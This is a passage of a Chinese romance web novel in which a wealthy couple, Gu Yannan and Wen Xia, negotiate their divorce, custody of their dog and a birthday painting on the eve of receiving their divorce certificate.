原本没想着喝这么多,但喝着喝着就停不下来,满脑子都是这些天发生的事,烦躁得让她想把自己灌醉。
一杯接着一杯,她断片前最后的记忆是让酒吧的服务生帮忙给顾衍南打电话。
是他接她回来的吧……
顾衍南刚从顾家老宅回来,原本打算今天在家办公,中午给她做饭吃,在书房处理文件时,接到阮眠的电话,说在“家”发现一筐信,和他们的父母有关。
这个家指的是他父母去世前住的那套房子,自从他们去世,顾衍南再也没有回去过,三岁之前的记忆几乎没有,他对他们也不好奇,但阮眠不一样,她很想知道生父生母的过去,以及妈妈是怎么把自己弄丢的。
她偶尔会回去,那里常年有佣人定时打扫,保持着原先的格局。
今天去妈妈书房的时候,她偶然看到书架角落有一个箱子,她随意打开看了眼,发现里面全是信。
拆开一看,居然是妈妈写给爸爸的信,不过封口是密封的,证明没人看过。
说不上是好奇还是什么,顾衍南驱车赶往老宅和阮眠汇合,陈旧的信封一封封拆开,泛黄的纸张和褪色的字迹下,记录的居然是母亲对父亲近乎迷恋般的爱意。
顾衍南难以置信地看着顾老爷子,他一直以为,母亲是不爱父亲的,不然为什么父亲一去世她就远走他乡,连自己这个儿子都不要。
到底怎么回事?
在场仅有顾老爷子一个知情人,可他毕竟不是当事人,知道的也不多,长叹一声:“我不是早说过,他们俩感情深厚,但两人性子都倔,吵起架来谁都不愿意低头,隔三差五的就闹冷战,还得让我去调停,本以为生了你当了爹妈就能好些,结果还是不停地吵。”
“你爸出事那次,就是和你妈吵架,临时改签航班,结果飞机出事,”顾老爷子勾起伤心事,又叹了声,“临走前他还给我打电话,问我该怎么哄你妈,我骂他一通,他答应等回国就跟你妈把话说开,以后不吵了。”
“可是,谁能想到……”
阮眠握住爷爷的手,无声地掉眼泪。
“你妈得知你爸死后,直接晕了过去,出院后也不愿意参加葬礼,谁在她面前提到‘死’字,她就让人滚,连你舅舅说都照骂不误。”
“后来,也不知道她怎么想的,把你交给我了,说要去别的地方,不方便带着你,我看她状态差,以为她想不开,她说她不会轻生,只是不能再待在这个城市,”顾老爷子看着顾衍南,叹息,“也不能再看见你。”
顾衍南瞳眸骤然紧缩,明白老爷子话里的意思——
他和父亲的眉眼有九分像。
他听到自己问了句:“爸知道妈的心思吗?”
顾老爷子摇头:“不知道,你爸到死都觉得你妈心里的那个人是她的前男友,嫁给他只是抵抗不住家族安排的权衡之举,不然也不会总是跟她吵。”
“你说他们俩,要是早点把话说开,什么事都不会有。”
顾衍南看着那一封封泛黄的信封,手指无意识收紧,纸张一寸寸褶皱起来。
秋意渐浓,路边的树叶枯了大半。
回到明湖公馆,小蠢狗撒着脚丫子朝他跑来:“汪!”
顾衍南蹲下来,拍了拍它的脑袋:“你妈在家吗?”
言言:“汪汪!”
边叫边咬着他的裤腿往室内走。
顾衍南睨着它:“动不动咬人裤子的毛病,就是你妈给你惯的,”说着,又拍了它一下,“你最好把这个毛病改掉,接下来会有段时间你妈不在家,没人护着你,老实点。”
言言生气地冲他吼:“汪!汪!!”
“你吼我干什么,是你妈她不要我们的,你要怪就怪她。”
言言:“汪汪!!!”
顾衍南没跟狗计较,对着它的小短腿踢了一脚:“你自己好好想想吧。”
推门走进去,温夏刚收拾好,从楼梯下来。
空气中,两人的视线短暂地碰了下。
温夏很快挪开,旁若无人地往外走。
顾衍南自嘲地勾了勾唇,抬腿挡住她。
温夏抬眸,淡声问:“什么事?”
顾衍南盯着她的眼睛:“昨晚你喝醉了,我送你回来的。”
“谢谢。”
“陪我吃个午饭吧,我亲自做,”他补充了句,“就当做昨晚的谢礼。”
温夏抿了抿唇,正要拒绝,他先她一步开口。
“吃完饭,我们谈谈离婚的事。”
第45章 “你有一丁点的喜欢过我……
“……”
温夏微微怔住, 抬眸看着他。
自从她提离婚以来,他都是一副“绝不可能”的态度,甚至听到“离婚”两个字就要冷脸, 这是第一次松口, 昨晚她醉酒后到底发生了什么?
顾衍南将她眸中的愣怔收入眼底,没什么意义地扯了扯唇,淡淡地道:“你去陪小蠢狗玩一会,我做好饭喊你。”
温夏定定地看着他,他昨晚估计没怎么睡好,眼睛里有几根明显的红血丝,这点轻微的疲态, 给他平添一种雾蒙蒙的滤镜,模糊得让人看不清他在想什么。
梁从音曾说过她是一本很难读懂的书,因为她很少表达自己的情绪,但实际上她不觉得自己总在压抑, 她对很多事情的感受都很淡。
她的性格天生如此, 无论是小时候意外撞破父母的婚外情, 还是后来父亲去世,母亲离家,她心中虽不可能全然没有波动, 但相比于正常人,反应确实过于浅淡。
如果非要说情绪不受控的时刻,仅有的几次,全都是因为顾衍南。
除了飞蛾会扑火, 包括人在内的绝大多数生物都趋利避害,其实和他保持婚姻并没有太糟糕,毕竟再糟糕的事她都经历过, 这不算什么,她要离婚的根本原因——她觉得他很危险。
不只是他在暗中放刀,用家人朋友威胁她,除去这些最表面上的因素,温夏发现,自己从未读懂过他。
一个深不可测,却能轻易挑起她情绪的人,她必须远离。
她怕他,不是怕他会对她做坏事,而是本能地对危险的恐惧。
她一直都知道自己的怯懦,哪怕在外人眼中她是那样的强大冷静,温夏自己心里清楚,她是个胆小鬼。
同一个坑掉进去第一次是天真,第二次是愚蠢,第三次……正常人都会绕着过。
“哦,好。”温夏点点头。
既然他愿意松口,原因他不说的话,证明对她来说不重要,她不必自找烦恼胡思乱想。
估计是昨晚喝醉……她对他说了很多难听的话,让他愈发觉得维持这段名存实亡的婚姻太没意思。
庭院里,言言在草坪上玩橄榄球,见温夏出来,撒开脚丫子朝她飞奔,温夏蹲下来,一把接住它,差点被它撞倒。
“汪!汪汪!”
温夏摸了摸它的脑袋,出神地想,谈离婚的事……他们没有孩子,她不会要他的财产,剩下的争议焦点就是言言的抚养权。
言言当然该归她。
一直以来,都是她照顾得多,明明最初是他提议一起养狗,却经常晚上应酬,隔三差五就出差,把言言扔给她一个人照顾,很不负责任。
如果言言跟他,一定会得抑郁症。
温夏皱起眉,给她的离婚律师拨通号码。
这位律师叫沈思柠,是朋友推荐给她的,温夏选她的理由很简单,一来沈思柠的专业能力很强,二来,沈思柠的丈夫裴时礼有能和顾衍南分庭抗礼的资本。
如果换一个律师,大概率会在顾衍南的威逼利诱下不敢接她的案子。
温夏只在刚决定和顾衍南离婚时咨询过相关事宜,后来他们撕破脸,他用她在乎的人逼迫她后,她便放弃了协议离婚或者起诉离婚的念头。
就算沈思柠能帮她离掉婚,也不可能帮她回击顾衍南的打击报复。
电话接通,温夏开门见山地问起“离婚后宠物分割”的做法,沈思柠眼角一抽,很快恢复专业的语气:“江城这边的法院近期刚好有离婚分割宠物的案例,虽然法院认定宠物是具有人格象征意义的动物,但性质上仍是属于财产,目前司法实践上主要有两种处理模式——”
“第一种是竞价,价高者得所有权。”
温夏皱了皱眉,拼财力,她怎么可能拼得过顾衍南,就他那烧钱败家的做派,她拿上全部的身家都比不上他。
“第二种呢?”
沈思柠:“法院会综合考量宠物的购买人、照料人、以及男女双方的生活条件等因素,将宠物判给之前负主要照顾义务的一方,而给予另一方折价款。”
温夏眼睛一亮,她是主要照料人,言言该归她。
“谢谢你,沈律师。”
“小事,”沈思柠八卦了句,“你和顾大公子准备离婚了啊?”
温夏:“嗯。”
“顾大公子答应了?”
“差不多。”
沈思柠在那头笑了声,自我推销:“后续有什么财产分割上的事,可以找我。”
温夏:“一定。”
挂断电话,温夏心情不错,陪着言言玩了会儿,回到室内,看到厨房里那道高大挺括的身影,抬眸望过去。
他没换衣服,穿的是白衬衫和黑西裤,衬衫袖子卷起,小臂上的青筋凸显,很性感。
只看一眼,温夏收回视线,低眸看着手腕上的镯子和戒指,想了想,抬腿上楼。
温夏把手镯和戒指分别取下装在盒子里,来来回回的,戴了又摘,摘了又戴,这次摘下,以后不会再戴了。
也许最开始就不该戴上。
温夏在书房待了半小时,下楼的时候,顾衍南刚做好,正在装盘。
听到动静,他掀眸看她一眼,目光瞬间被她空荡荡的左手吸引,眉眼立刻笼罩着一层阴霾。
他强压下不满,淡声:“可以吃了。”
“嗯。”温夏去厨房拿碗筷。
因时间紧迫,他简单地做了四菜一汤,全是她平时爱吃的。
温夏夹起一颗上海青送入口中,不知道他怎么炒的,明明是苦涩的青菜,也能炒的清甜脆嫩。
剩下的几道菜也都色香味俱全。
——他很居家。
平日里,他一副商务精英的做派,实际上特别居家,厨艺特别好,照顾起人来没话说。
希望他的下一任妻子是个很爱他的人,千万不要像她一样。
甜脆的青菜经过咀嚼变得苦涩,温夏就着米饭咽下去。
顾衍南看她皱了下眉,抿着唇:“不好吃?”
温夏摇摇头:“没有,很好吃。”
“好吃你就多吃点,”顾衍南给她夹菜,“这几道都是你夸过好吃的。”
温夏睫毛颤了下,轻轻嗯了一声。
顾衍南眉眼沉了沉,克制住没发作,接着给她夹菜。
温夏一言不发,不过全都吃了。
他的脸色这才缓了缓。
吃完饭,顾衍南筷子放下,温夏抬起头,听到他说:“去书房谈。”
温夏跟在他后面,脑子里乱七八糟的线绕成团。
顾衍南走到办公椅坐下,温夏去找椅子,他淡淡出声:“坐我腿上。”
温夏皱起眉,低眸看他。
他很无赖地道:“不坐就不谈了。”
温夏:“……”
她只好走过去,被顾衍南一把拉到怀里,面对面,岔开大腿坐在他腿上,他大腿上蓬勃的肌肉咯得她腿疼。
温夏稳了稳身体,抬头看他:“谈……”
刚出了个字音,唇就被堵住了,顾衍南一手扶着她的腰,另一只手扣着她的下巴,重重吻了下来。
他的吻很深很急,有点失控。
温夏愣了下,反应过来去推他,他一把扣住她的手腕,嗓音低哑模糊:“再亲一会。”离婚后要很久都亲不到了。
多次经验,让温夏知道反抗没用,于是很快放弃抵抗,任由他按着她亲够。
她不抗拒在顾衍南看来就是同意,黑眸中闪烁着细碎的光,手掌掐着她的脖子,更深的吻落了下来。
很快,温夏就被他亲的窒息,他总爱把她逼到窒息的深吻,还总是喜欢掐她的脖子,不知道哪来的怪癖。
“唔唔……”温夏用力咬了下他的舌头。
顾衍南从她口中退出去,但没有拉开距离,额头抵着她的,温热的呼吸喷在她脸上,哑声道:“离婚可以,我有几个条件。”
温夏料到他不可能做亏本生意:“什么条件?”
顾衍南低眸睨着她:“把我的三十岁生日礼物还给我。”他知道她给他准备了一份很用心的生日礼物,具体是什么他不清楚,她当时说的是“你肯定会很喜欢的”,他们闹掰的节点很巧合就是他的生日,生日礼物她自然没有给他。
温夏:“……”
没送出去的礼物,所有权人还是她吧?
这不是多大的事,温夏同意:“好。”
“第二,小蠢狗归我。”
温夏立刻反对:“不行,言言是我的。”
把刚才在院子里想好的说辞一吐而出:“你喜欢狗的话重新再养一只就行了,你不是一直觉得它蠢吗?你可以挑一只你喜欢的品种。”
顾衍南冷了脸:“你当我是你,说不要就能不要,再蠢我也养了一年多,已经有感情了,我没有心力再去养第二只。”
“你养?”温夏也冷下脸,“都是我在喂在遛,你可以自己算算我们谁照顾它比较多。”
自然是她,但他不可能把狗给她,不然以后连个骚扰她的借口都没有了。顾衍南眯起眼,一副在谈判桌上冷硬强势的姿态,语调淡漠:“这个没得商量,我可以准许你随时都可以探视它,但小蠢狗的抚养权必须归我,它对这附近也都熟悉了,换个新地方生活它肯定会不习惯。”
温夏紧紧抿着唇,一言不发地看着他。
顾衍南当没看见,继续道:“第三,在我不爱你之前,不准和别的男人有任何的暧昧关系。”
顿了顿,补充,“女的也不行。”
他的语气很随意,就像在说今天的天气不错,那个“爱”字就这样穿插在这句随意的话中,如果不是那天晚上偷听过他说“我爱你”,温夏绝对会当场震惊。
现在她勉强能克制自己不要反应太大,只是瞳眸仍是紧紧缩了一下,她咽了咽嗓子,嗯了声:“我答应你。”
她不会再和任何人进入亲密关系。
顾衍南没想到她会这么轻易的答应,他知道她不是随口许诺的人,就这样轻易答应不和别人暧昧,为什么?
昨晚的画面涌入脑海,顾衍南指尖微微发颤,也许她并没有他以为的不在乎他,他对她来说并不是水过无痕。
两人的距离很近,近到能够看到彼此瞳眸中倒映的自己。
顾衍南滚了下喉结,嗓音低哑:“回答我最后一个问题,下周去办手续。”
温夏:“什么?”
顾衍南低眸,一瞬不瞬地盯着她的眼睛,轻声问:“你有一丁点的喜欢过我吗?”
他没有问爱不爱,因为他知道她不爱他,但喜欢总该是有的吧。
毕竟他们一起生活这么久,总该有点喜欢吧。
“不是因为我能给你带来的利益,也不是因为其他人或者其他原因,”越说他的嗓音越哑,“仅仅是我这个人——”
他换了口气,哑声:“温夏,有吗?”
第46章 “我不知道。”……
近在咫尺的距离, 他直勾勾地盯着她,温夏连躲闪逃避的可能性都没有。
眼皮轻轻颤了颤,心脏抽痛的同时, 胸腔涌入一股难以名状的委屈。
原来在他心里, 她这一年多打破固有的思维模式努力跟他培养感情,亲力亲为地照顾他们一起养的狗,居然连“一丁点的喜欢”都需要怀疑。
随之而来的是茫然。
大概是她真的不会喜欢人,或者说,她没有喜欢人的能力,所以他连这都要怀疑。
温夏再一次意识到他们有多不合适,如果换成一个在感情上非常成熟的顾太太, 他肯定不会有这种疑问。
已经要结束的关系,没有那么多解释的必要,最好不要再有任何的情感牵扯,可对上他黑沉的眸子, 她的心脏骤然一缩, “没有”两个字就这样卡在喉咙里。
温夏极力避免自己在最后的节点产生不该有的情绪, 眼前却不停闪回那句极尽卑微的话——
“你有一丁点的喜欢过我吗?”
这不该是顾衍南会说出来的话。
他那样骄傲的人,怎么会说出这种话。
温夏用力抿唇,压下喉咙里的酸涩, 声音仍有点哑:“我不知道。”
饶是早就做好不会得到肯定答案的心理准备,顾衍南的心尖还是紧了紧,旋即安慰自己,至少不是“没有”, 这么多年也不能全算他一个人在唱独角戏。
他没再追问,换了个话题:“周五下午按照原计划陪我回老宅看爷爷。”
温夏微怔,迅速调整好情绪, 问:“是要隐瞒离婚的事吗?”
顾衍南扯了扯唇:“瞒?我们前脚进民政局,后脚老爷子就能知道,他只是老了不是瞎了,要你陪我回去是你答应过的事,你当一天的顾太太,就要做好顾太太该做的事——”
视线落在她空荡荡的左手,“把你的手镯和戒指都戴着。”
虽然觉得来回折腾没必要,但温夏不想在最后的关头因为小事和他争吵,便答应了。
然后把话题拉回言言的抚养权上:“你工作忙,晚上经常要应酬,出差一走就是半个多月,没有时间照顾它,更没时间陪它玩,还是由我抚养吧。”
顾衍南淡淡地道:“离婚后,我可以把花在你身上的时间和精力花在它身上。”
温夏秀眉微蹙:“但是如果你要交往新的女朋友,就没时间照顾它了,所以还是给我吧。”
“新的女朋友?”
“嗯,你难道不再婚了?”温夏这话完全出于客观情况考虑,他是顾家唯一的孙子,还家财万贯,不生个孩子不大现实,每次回老宅吃饭,顾爷爷总是明里暗里表示想有个小孩玩一玩。
但阮眠和江肆过了两年多的二人世界还没过够,他们……如果不出意外的话,等明年一月份她生日,她就该决定要一个宝宝了吧。
她买了好多育婴方面的书,已经看完两本了,现在看来是白看了。
他刚才说的是“在我不爱你之前”,意思就是迟早会到“他不爱她”的那天,到时候他会爱上别的女人,和别人结婚,那自己和他一起养的狗在他们的新家怎么自处?
温夏现在的想法就是担忧自己的孩子会在前夫和后妈的新家里受委屈,全力争夺抚养权,继续道:“我不会再交往男朋友,也不会再嫁人,言言交给我你可以放心。”
顾衍南:“我也不会再交往女朋友,也不会再娶别的女人。”
温夏:“……”
她不觉得他这话是认真的,只当成他要争夺言言抚养权的虚假承诺。
顾衍南继续道:“如果你想陪它玩我随时欢迎,玩到太晚我可以专门收拾出一间房给你住,或者,你住主卧也行,我可以睡沙发,你毕竟是它妈,你有看望的权利。”
“……”
看着她紧蹙着眉却想不到争论的台词,顾衍南唇角微不可觉地勾了勾。
离婚后,小蠢狗就是他们最稳固的一条纽带,他可以以小蠢狗为借口,找到很多理由进入她的生活。
他接着补充:“你来看它之前提前给我打个电话,我让张婶给你开门——毕竟离婚得有离婚的样子,你的指纹我会删除。”
温夏听着他云淡风轻地谈论离婚后的界限划分,好似前一刻还在说“爱她”的那个人不是他。
她垂下眼皮,淡声回:“我有张婶的号码,我直接打给她。”
就这么不想跟他打电话?
顾衍南心头生气一丝郁气,也淡下声音:“你是打算离婚后还使唤我花钱请的保姆?”
果然是分手见人品,上一秒还说的那么好听,下一秒她连给张婶打电话都不被允许,翻脸比翻书还快。
温夏咬着唇,眼神冷了下来:“你放心,离婚后我绝对会跟你断的干干净净,我会自己把指纹删除,把家里所有我的东西都搬走,不会留下任何东西碍你的眼,至于言言——”
“我会按门铃,在你不在家的时候来找它,不会和你碰面,不过如果你找了新的女朋友或者妻子,你必须把它还给我。”
说完,她就要从他身上下来。
手腕募地被拉住,温夏直接撞回他怀里,胸口被撞的生疼,还没反应过来,就被顾衍南堵住了嘴巴。
顾衍南原本是想好好跟她谈,但她说话太气人,原本只是郁气,听完她这一番话直接变成怒意。
去他的断的干干净净,不会和他碰面,他只答应和她离婚,没答应不再纠缠她。
一时没忍住,只想把这张只会说惹他生气的话的嘴给堵住。
温夏睁大眼睛,去推他的肩膀。
是他自己说的划清界限,现在又要吻她,他人格分裂吗?
她不挣扎还好,一挣扎顾衍南怒意更盛,直接掐着她的腰把她按在办公桌上,另一只手扣着她的下巴重重吻下去。
凶狠得像是要把她拆吃入腹。
他看着她眼神越来越怒,想到马上她就不是他的顾太太了,胸口的怒意和躁意成指数飙升,唇舌更加肆无忌惮,舌头几乎要顶到她的喉咙。
浓烈的男性气息从四面八方将她包裹,温夏被他亲的快要窒息了,这混蛋发什么火,他还有脸发火,该发火的明明是她!
她想咬他,但顾衍南早有经验,先一步扣着她的下巴,让她只能乖乖张嘴被他深吻。
不知道持续多久的一个深吻,久到温夏浑身瘫软无力地瘫在办公桌上,顾衍南才把怒火发泄得差不多,从她的口中退出。
看着她大口喘息恢复呼吸,顾衍南冷笑了声:“我看你这张嘴就只适合接吻,不适合说话。”
温夏被胡乱问了一通,还要被骂,脾气“蹭”的上来:“你才不适合说话!”
“把言言给我,它是我的!你都没照顾过它几天,凭什么留给你?给它洗澡的人是我,陪它玩的人也是我,当初明明是你提议养它,但你对它一点也不上心,你现在为什么非要跟我争!”
温夏原本已经放弃争夺了,可他太喜怒无常了,她非常担心他只是为了不让她好受才故意要走言言,也许是因为小狗不会说话,会永远对她忠诚,永远也不会离开她,温夏在它身上投入了很多的感情。
她走了之后,他会尽心照顾言言吗?
不一定,他这种不信守承诺,还反复无常的人,谁知道他哪天心情不好就把言言扔给张婶照顾了。
既然如此,不如交给她。
从前,温夏一个人住惯了,不觉得自己需要情感寄托,但也许是年纪越来越大,又或者是这一年多她习惯有人陪伴,突然转变成一个人她会不适应。
而言言能给她提供很多的情绪价值,能让烦躁的心情渐渐平复下来。
她都比他更需要言言。
“顾衍南,”她低声喊他,褪去刚才那层薄薄的怒意,平添几分沉静和严肃,“你把它给我吧,我很需要它。”
她不会再和任何人进入亲密关系,她这辈子都会一个人生活,她需要言言陪她。
她需要,难道他就不需要?
她自己离开,还要把他们的狗也带走,这对他来说不公平。
可看着她那双清澈漆黑的杏眸,争辩的欲望就这样散去。
最后,他只低声问了句:“那我想它怎么办?”
温夏:“你可以来看他。”
顾衍南眼皮动了动,接着问:“离婚后,你打算住哪儿?”
温夏想了想:“我的公寓。”
“不行,”顾衍南一本正经地解释,“你的公寓面积太小,小蠢狗连跑都不能跑。”
“那我买一套带院子的别墅。”
“装修要花费很多时间,当然,我可以等到你的新别墅装修好再跟你离婚。”
“……”
温夏无语地看着他。
顾衍南把他的最终目的说出来:“这样吧,反正离婚我得分你一半的财产,现在住的这套别墅你住,我搬到别的地方。”沈青砚当初追他孩子的妈在后一排买了一栋,两人复婚后他就搬了过去,房子空置下来,正好他可以买下来,和她做邻居。
温夏抿唇,想要拒绝,顾衍南先一步打断她:“狗不是人,很难适应新的环境,你搬走的话它就归我,想要它的话就住在这里。”
“二选一,顾太太,你考虑考虑。”
第47章 “我觉得你爱他。”……
看似二选一, 实则温夏并没有别的选择。
除非她忍心不要言言。
顾衍南捏着她的软肋,温夏只能妥协,而且这算不上多严苛的条件, 反正他会搬走, 她一个人住在这里。
唯一会让她犹豫的是,这栋房子有许多他和她的回忆。
这不算什么,难道她连在他们的家继续生活下去的勇气都没有吗?
十多年前那次,她选择最果断干脆的抽离方式,连个过渡期都没留给自己。
断崖式抽身的原因很简单,她害怕越陷越深,所以极力避免, 但又怎么可能完全避开。
这世界有这么多人,总会有人和他有相似的点,越是逃避越说明她没有放下。
这一次,她不想再像十多年前那次一样, 她要从精神上把他彻底剥离。
心理学上有个词叫“暴露治疗”, 越害怕什么越要直面恐惧, 她不想剩下的几十年,还要在精神上被他折磨。
“好。”良久,温夏轻声应道。
顾衍南对她的答案丝毫不意外。
让她和小蠢狗住在这里, 显然要比她搬走好,以她的性子,要来看小蠢狗肯定会挑个他不在家的日子,虽然他可以让保安提前通知他, 但他毕竟不是闲人,经常性出差应酬,不可能每次都能和她碰到。
换成他借着看望小蠢狗的名义去找她, 由他掌握着主动权,他可以每天都去。
言言抚养权归属这个焦点问题达成一致,顾衍南把话题扯到他的三十岁礼物上:“我的礼物在哪儿?”
“我的书房。”
“还给我。”
“……去书房。”
温夏没有纠正他的措辞,正要从他腿上下来,顾衍南突然掐着她的腰站起来,温夏吓了一跳,条件反射夹紧他的腰,紧紧搂住他的脖子。
顾衍南瞥了眼她惊魂未定的模样,唇角微勾,低头亲了亲她的红唇,“抱紧,摔了我不负责。”
“放我下来。”温夏用力捶他的胸膛。
“不放。”顾衍南单手揽着她的腰,另一只手拧开门把,闲庭信步地往她的书房走。
温夏泄愤般地又捶了几下,马上就要离婚了,还抱她!还抱她!!
顾衍南的想法却是,马上就要离婚了,要很久都不能像现在这样名正言顺地想抱就抱,要趁这段时间多抱,更何况他很喜欢抱她,又香又软,抱起来感觉很好。
一直到书房,顾衍南才把她放下,温夏指着书架最角落的顶层位置,“在那里,你自己拿吧。”
顾衍南顺着她手指的方向看去,能看出这是一幅画,他的眼睛暗了暗,垫脚把画框拿下来。
油画的表面被白布覆盖,顾衍南一把扯开,也许是这幅画倾注她太多的精力和感情,温夏忍不住悄悄观察他的反应。
然而,他没有什么反应,只是盯着那幅画,眼神又深又沉,并没有震惊或惊喜的表情。
温夏垂下眸,心底不免生出几分失落。
她不是个多有仪式感多会搞浪漫的人,这份生日礼物是她冥思苦想好久才想出来的创意,有什么能比揭开一幅画发现画中就是此刻所处的场景更让人震惊。
画中的他穿着由她亲自挑选的黑大衣,背景是庭院的草坪,言言贴在他腿边,她站在不远处,观察他的反应。
说不清是阴差阳错还是命中注定,这些事他这辈子都不会知道了。
“为什么要送我这幅画?”顾衍南收回视线,偏眸看她。
温夏轻描淡写道:“用钱能买到的东西你又不缺,其他的我又不擅长,我画了蛮多年油画的,你应该会喜欢。”
“喜欢,”他仍盯着她,“我问的是,画的内容。”
温夏抿抿唇,仍是随意的语气:“随便画的,家里的庭院很漂亮,我就把它当做背景了。”
顾衍南看向那幅画,因为她大学学的是艺术,他选修了一学期的艺术鉴赏,都说能从画笔下看出作者的感情,他能看得出她画这幅画时的心情是愉悦的。
唯美梦幻的夕阳,幸福的一家三口,直觉告诉他,她选择这样的构图,绝不是“随便”二字能概括的。
顾衍南又想到刚才他说“我爱你”时她的反应,缓过最初的片刻愣怔,她神情如常,对那三个字并没有过多的震惊。
是不相信,还是不在乎?
他眯起眼睛,良久,收回视线,看着她的眼睛:“我很喜欢这个礼物。”
温夏没看他,目光落在那副油画上,人的记忆有时很奇怪,这段时间发生了这么多的事,她却连当时画这幅画时的心情都记得一清二楚。
更奇怪的是,她意识到,她居然这么在意他的认可。
她希望他喜欢她送的礼物。
哪怕是现在,他们马上就要离婚了。
-
顾衍南答应她的是下周办手续,但没有说具体哪天,温夏不想表现得太心急,一直到周三才问他,他淡淡回她:“周五。”
“……”
温夏没有再问,周五就周五吧。
这期间,他们商量了离婚协议的事——
也不算商量,他叫律师草拟了一份协议,让她看着没问题就签字。
温夏没想到他真的要分她一半的财产,他们当时结婚是因为一夜情被顾爷爷威逼利诱才结的婚,但怎么说也算是商业联姻,基本的规矩得守,婚前顾老爷子让她签订了厚厚的财产协议。
对于这一点,温夏无可指摘,换她站在顾爷爷的角度也会这么做,顾衍南的身家也不是几栋房子几笔存款这么简单,真要被她分走一半,不夸张地说,都能改变北城的商业格局。
她从他还有顾家得到的已经够多了,温夏不希望欠他太多,不愿意接受,顾衍南更加利落,淡淡地道:“不要的话就不离。”
温夏深吸一口气,尝试讲道理:“顾衍南,我不能收,你觉得我收下的话,爷爷会怎么看我?”
上周五,他们一起回顾家老宅吃饭,顾老爷子并不知道他们要离婚的事,还在饭桌上念叨生孩子的话题,被顾衍南随口敷衍过去。
说来也挺荒唐的,她活这么多年,得到的来自长辈的关心,都来自于顾爷爷。
大概是从张婶那里听说他们前段时间在冷战,饭后他把顾衍南喊到书房,狠狠地臭骂一通,叮嘱顾衍南好好对她。
除了顾爷爷,还有阮眠,最开始,她不希望和顾衍南的妹妹有太多的情感牵扯,因为在她的预估里他们早晚会离婚,是阮眠不介意她的回避和疏远,一次次主动邀请她一起吃饭一起逛街,每次她和顾衍南闹矛盾,阮眠会私下劝顾衍南低头服软。
她算不上多无私善良的人,但也不想让顾爷爷和眠眠认为她是个捞女。
更何况,收下他这么多资产,她怎么可能心安理得,又不是只有几个亿。
顾衍南微微皱眉:“他不会在意,又不是他的钱。”
温夏坚持:“我不能收,你如果非要给我点什么,就把明湖公馆的这套房子给我吧。”
顾衍南冷笑:“我的顾太太离婚只分到一套房子,说出去你是等着我被人笑话?”
温夏:“……”
这一套房子也值近十亿了好吧。
“那你象征性的再给我点扶养费吧,”温夏不知道他的好胜心怎么这么强,连离婚分给前妻的钱都要比别人多,“反正你的股份我是不会要的。”
商量了半天,最终顾衍南同意不给她股份,不过都按照市价折现给她了,温夏还要推辞,被他一句“再啰嗦就不离了”给怼了回去,好像她不收就是折辱了他顾大公子慷慨大方的人格。
梁从音得知这件事,震惊得瞪大眼睛:“你你你……你怎么就要离婚了?顾衍南疯了吗?分给你这么多钱,他他他!我也要跟他结婚,不为别的,就为分钱!”
离婚的事温夏还没告诉大哥和温诗,梁从音第一个知道的,对她分到顾衍南一半财产震惊了半天,冷静下来才问:“到底为什么离婚啊?你们俩不是还挺好的吗?因为什么啊?”
温夏不爱对别人说她和顾衍南之间的事,所以在梁从音印象里,俩人感情虽说算不上爱的要死要活,但也不至于毫无感情,再加上一起生活了快两年,怎么会走到离婚的地步。
“难道是……”梁从音小心翼翼地观察温夏的表情,“他外面有人了?”
“没有,”温夏立刻否认,“他不是那种人。”
梁从音盯着她看了几秒,叹了声:“那是因为什么?”
“性格不合。”
简单到像是敷衍的借口,却是他们分开的真正原因,他们的性格确实不合适,再相处下去只会是彼此折磨。
梁从音不知道该怎么劝,也知道温夏做出的决定没人可以劝得动,她又重重叹了口气:“虽然我最开始也不怎么相信顾衍南会是你的Mr.right,但后来我发现和他在一起,你的情绪波动会很大,说难听点,你更像一个人了。”
“以前,你对任何事的情绪都淡,我们认识这么多年,我就没见过你有情绪化的时候,可这一年多,我每次跟你视频,都能从你脸上看出你和顾衍南是不是闹矛盾了。”
温夏微微怔住。
梁从音继续道:“我以前听人说爱一个人会让人情绪失控,我跟你不一样,我脾气大,在祁源之前,我和那些前男友吵架也有过情绪激动的时候,但事后想想,不过是正在气头上,可遇到祁源之后,我发现完全控制不住自己的情绪,他对我好我想哭,他不理我我还是想哭,还是忍不住的那种,这是我在之前那些男朋友身上完全没有体验过的。”
“你……你想说什么?”
梁从音定定地看着她,一字一顿道:“我觉得你爱他。”
温夏的手指蜷了蜷,瞳孔有些失焦,茫然道:“我……爱他?”
“嗯,你爱他。”梁从音的语气无比确定,“虽然我不知道有多少,但他对你来说很重要。”
温夏清楚地感知到她对“她爱顾衍南”这件事的排斥,好像这件事会把她推进深渊,她为自己的反常找到合理的原因:“我们毕竟是夫妻,朝夕相处快两年了,我又不是机器人,对他有感情很正常,但不至于上升到爱不爱的程度。”
顾衍南确实很能挑动她的情绪,让她忍不住失去冷静,但她还不至于完全失控,她还能控制得住自己,所以必须要离婚了。
温夏更坚定了离婚的念头。
梁从音欲言又止地看着她,最后问道:“你不会舍不得吗?”
温夏垂下眼皮,淡声说:“没有你想的那么要死要活。”
周四晚上。
最后一个晚上。
顾衍南洗完澡,掀开被子,熟练地把温夏抱进怀里,温夏没有挣扎,这几天他们都是抱着睡的,他的原话是:你当一天的顾太太,就要履行一天顾太太的义务。
没有做到底,他抱着她,一会亲一会摸,不过分的话温夏都随他,今天却有些反常,他只是抱着她,面对面的姿势。
温夏是闭着眼睛的,这种时刻四目相对会滋生太多不必要的情绪,自从梁从音那番话后,她这几天已经有太多多余的情绪,不想再自找困扰。
卧室阒静无声,只留床头一盏小夜灯散发微弱的光线,不知道过了多久,抱着她的人动也不动,温夏觉得他应该睡着了,这才缓缓睁开眼。
就这样对上他认真注视她的双眸。
温夏的神经被重重一扯。
顾衍南微怔,低声:“吵醒你了?”
温夏抬手捂住自己的眼睛,面前却不断闪过刚睁开眼时他的眼神——
她从他的眸底看到浓稠的眷恋和不舍。
第48章 离婚证
“没有。”温夏捂着眼睛, 拉过被子遮住脸,翻身转了过去,背对着他。
顾衍南看着她的背影, 皱了皱眉, 盯着她看了几秒,又把她掰了回来。
“睡不着的话,陪我聊会天。”他低声说。
温夏闭着眼:“不聊。”
“就聊一会,十分钟。”
“不聊。”
顾衍南搂紧她,用牙齿轻轻磨她的耳朵:“要么聊天,要么做.爱,你自己选。”
温夏瞬间睁开眼, 瞪着他。
顾衍南对上她的眼睛,笑着威胁:“你不选的话,我自动默认是后者。”
他就是个恶霸流氓。
温夏无可奈何,只能答应他:“聊什么?”
顾衍南其实也没想好聊什么, 他们明天就要去领离婚证了, 虽然这不会改变太多, 他仍会无孔不入地侵占她的生活,但失去法律上的认可,她不再是他的妻子, 他也不能再肆无忌惮地亲她抱她。
